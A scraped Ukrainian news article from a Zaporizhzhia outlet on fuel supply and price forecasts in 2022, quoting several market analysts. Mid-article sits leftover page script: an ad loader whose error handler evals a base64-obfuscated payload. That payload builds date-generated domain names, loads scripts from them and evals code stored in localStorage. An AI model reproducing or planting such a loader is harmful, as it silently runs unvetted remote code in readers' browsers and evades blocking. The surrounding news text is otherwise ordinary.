Ситуація з паливом значно покращилася, хоча автомобілісти все ще побоюються «нової хвилі» дефіциту та зростання цін.
Про те, якими буде вартість палива та наявність його на АЗС і чого чекати водіям — інформує Акцент з посиланням на ТСН та Autocosulting.
Наявність палива: чого чекати водіям
Як вважає директор Консалтингової групи “А-95” Сергій Куюн, в Україні вдалося подолати паливну кризу завдяки злагодженій роботі Кабміна та трейдерів, для яких держава фактично відкрила паливний ринок.
«Для порівняння Куюн наводить такі цифри. Якщо до війни на вітчизняному ринку працювало близько 100 компаній, у червні іх налічувалося вже 300. Пальне до України почали звозити і агрофірми, і транспортні компанії, і промислові підприємства. Вони уклали нові контракти із виробниками пального, знайшли транспорт, розробили нові маршрути імпорту до України», — цитуємо видання.
Водночас, директор спеціальних проектів НТЦ «Психея» профессор Геннадій Рябцев быльш стримано реагує на ситуацію з паливом: вын вважає, що головна проблема полягає у тому, що усі контракти — короткотермінові і саме тому немає довгострокових гарантій.
«Окрім цього, наразі, трейдери працюють “з коліс”. А обмеження на пропускну здатність імпорту пального залізничним транспортом, та нестача бензовозів лишилися. Тобто, об’єми імпорту пального важко збільшити. А зовсім скоро — холодна пора року та опалювальний сезон», — йдеться в повідомленні.
За даними Куюна, зараз спостерігають профіцит скрапленого газу, який фактично продається без маржі. Також багато пропозицій і дизельного пального. Такі великі обсяги, закуплені і завезені трейдерами у період жорсткого дефіциту, сьогодні відпускають майже за собівартістю. Водночас, у постачанні бензину такого профіциту немає. Хоча, як повідомив Куюн, у липні (у порівнянні з червнем-місяцем) імпорт бензину до України виріс на цілих 30%.
Якими будуть ціни на паливо
Стосовно цінових перспектив Куюн підкреслив, що за попередніми прогнозами у серпні середня вартість дизелю мала знизитись десь на 7-8 грн/л, а на бензин — на 5 грн/л. Проте, ці прогнози зробив недійсними перегляд валютного курсу — тепер такого цінового оптимізму нема. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
«Хоча, зниження цін все ж таки очікується. Дизельне пальне зараз має потенціал до зменшення ціни на 1-2 грн/л. За йото прогнозом, найближчим часом 1 л бензину коштуватиме 50 грн, а 1 л дизельного пального — 53-55 грн/л. Із тим, що до кінця літа проблем із пальним не буде, погоджується і Геннадій Рябцев. Він також прогнозує помірне зниження цін», — йдеться у публікації.
Водночас, пан Рябцев не думає, що проблема із постачанням пального до України зникла: експерт вважає, що до кінця 2022 року може виникнути дефіцит дизельного пального з подальшим зростанням цін на цей вид палива.
«Окрім цього, під кінець року трейдерам буде важче знаходити необхідні об’єми пального на ринках країн ЄС. Адже від грудня запрацює ембарго на використання нафтопродуктів, імпортованих із РФ. Таким чином, нафтопереробні підприємства Угорщини, Болгарії, Чехії та Словаччини вироблятимуть пальне лише для внутрішнього споживання у своїх країнах. Відповідно — пропозиція нафтопродуктів на ринку ЄС зменшиться», — пишуть у статті.
Також, як вже інформував Акцент, через змінення НБУ, за прогнозами директора Консалтингової групи «А-95» Сергія Куюна, ціна скрапленого газу може стабілізуватися на рівні 30 грн за літр, а дизпаливо коштуватиме 60-63 гривні, бензин — від 55 до 57 гривень. Водночас, на думку директора Інституту розвитку економіки України Олександра Гончарова, вартість дизельного палива може зрости навіть до 70 гривень та більше за літр.
Раніше Акцент розповідав про те, як і де у Запоріжжі змінилася вартість автогазу за тиждень.
Як змінилася вартість автогазу на АЗС у Запоріжжі за тиждень (ОГЛЯД)
Також, як інформував Акцент, одна з найбільших українських мереж АЗС зробила доступною для клієнтів важливу послугу (adsbygoogle = window.adsbygoogle || []).push({});
В одній з мереж АЗС Запоріжжя зробили доступною нову важливу послугу Підписуйтесь на Акцент в 
ПІДТРИМКА САЙТУ АКЦЕНТ Источник: https://akzent.zp.ua/yakimi-budut-tsini-ta-nayavnist-paliva-na-azs-v-zaporizhzhi-do-kintsya-serpnya-prognozi/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
